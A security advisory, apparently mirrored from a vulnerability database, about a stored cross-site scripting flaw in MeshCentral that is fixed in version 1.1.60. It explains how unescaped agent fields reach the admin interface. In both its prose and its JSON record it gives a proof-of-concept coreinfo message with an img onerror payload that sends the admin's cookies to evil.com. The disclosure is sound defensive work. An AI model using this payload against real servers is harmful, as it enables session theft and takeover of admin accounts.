GHSA-C7HR-448W-65PX

Vulnerability from github – Published: 2026-08-18 20:09 – Updated: 2026-08-18 20:09
VLAI
Summary
MeshCentral has unsanitized data fields
Details

Description

A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.

Technical Details

// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }

// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML

// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')

Additional unescaped agent fields:

  • node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
  • cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
  • volumes[].name unescaped in file browser (line 12612) -- MEDIUM

No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.

Proof of Concept

Rogue agent sends via WebSocket:

{
  "action": "coreinfo",
  "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
  "name": "Legit-PC"
}

Payload fires when any admin views the device details panel. No click required.

image

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "meshcentral"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.60"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:09:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Description\n\nA rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == \u0027string\u0027). When an admin views the\ndevice details panel, the value is rendered via addDeviceAttribute() \u2192 QH() which sets innerHTML, executing the payload in the admin\u0027s browser session. The main management UI CSP includes \u0027unsafe-inline\u0027 (webserver.js:7072), so inline event handlers and script execution are unrestricted.\n\n### Technical Details\n\n```javascript\n// meshagent.js:1903 -- Agent input, only type check\nif (typeof command.osdesc == \u0027string\u0027) { device.osdesc = command.osdesc;\nchange = 1; }\n\n// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()\nif (node.osdesc) { x += addDeviceAttribute(\"Operating System\", node.osdesc); }\n// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML\n\n// INCONSISTENCY: Same field IS escaped elsewhere:\n// Line 13529: addDetailItem(\"Version\", EscapeHtml(node.osdesc), s)\n// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : \u0027\u0027)\n```\n\nAdditional unescaped agent fields:\n\n- node.name unescaped in sharing dialog (line 4695), user group list (line 18625),\npermission dialogs (lines 18675, 19413) -- HIGH\n- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM\n- volumes[].name unescaped in file browser (line 12612) -- MEDIUM\n\nNo server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent\u2192DB\u2192UI pipeline.\n\n### Proof of Concept\n\nRogue agent sends via WebSocket:\n\n```json\n{\n  \"action\": \"coreinfo\",\n  \"osdesc\": \"\u003cimg src=x onerror=\u0027fetch(\\\"https://evil.com/steal?\\\"+document.cookie)\u0027\u003e\",\n  \"name\": \"Legit-PC\"\n}\n```\n\nPayload fires when any admin views the device details panel. No click required.\n\n\u003cimg width=\"939\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1\" /\u003e",
  "id": "GHSA-c7hr-448w-65px",
  "modified": "2026-08-18T20:09:35Z",
  "published": "2026-08-18T20:09:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-c7hr-448w-65px"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Ylianst/MeshCentral"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Ylianst/MeshCentral/releases/tag/1.1.60"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MeshCentral has unsanitized data fields"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…